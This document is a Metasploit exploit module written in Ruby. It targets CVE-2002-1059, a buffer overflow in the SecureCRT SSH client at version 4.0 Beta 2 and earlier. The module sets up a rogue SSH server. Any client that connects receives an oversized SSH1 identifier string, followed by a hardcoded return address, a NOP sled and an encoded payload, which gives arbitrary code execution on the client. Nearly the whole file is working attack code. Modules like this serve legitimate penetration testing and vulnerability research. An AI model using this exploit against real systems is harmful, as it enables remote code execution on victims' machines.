metasploit-gs/modules/exploits/windows/ssh/securecrt_ssh1.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::TcpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SecureCRT SSH1 Buffer Overflow',
        'Description' => %q{
          This module exploits a buffer overflow in SecureCRT <= 4.0
          Beta 2. By sending a vulnerable client an overly long
          SSH1 protocol identifier string, it is possible to execute
          arbitrary code.

          This module has only been tested on SecureCRT 3.4.4.
        },
        'Author' => 'MC',
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2002-1059' ],
          [ 'OSVDB', '4991' ],
          [ 'BID', '5287' ],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
        },
        'Payload' => {
          'Space' => 400,
          'BadChars' => "\x00",
          'MaxNops' => 0,
          'StackAdjustment' => -3500,
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'SecureCRT.exe (3.4.4)', { 'Ret' => 0x0041b3e0 } ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2002-07-23',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The SSH daemon port to listen on", 22 ])
      ]
    )
  end

  def on_client_connect(client)
    return if ((p = regenerate_payload(client)) == nil)

    buffer = "SSH-1.1-OpenSSH_3.6.1p2\r\n" + rand_text_english(243)
    buffer << [target.ret].pack('V') + make_nops(20) + payload.encoded

    print_status("Sending #{buffer.length} bytes to #{client.getpeername}:#{client.peerport}...")

    client.put(buffer)
    handler

    service.close_client(client)
  end
end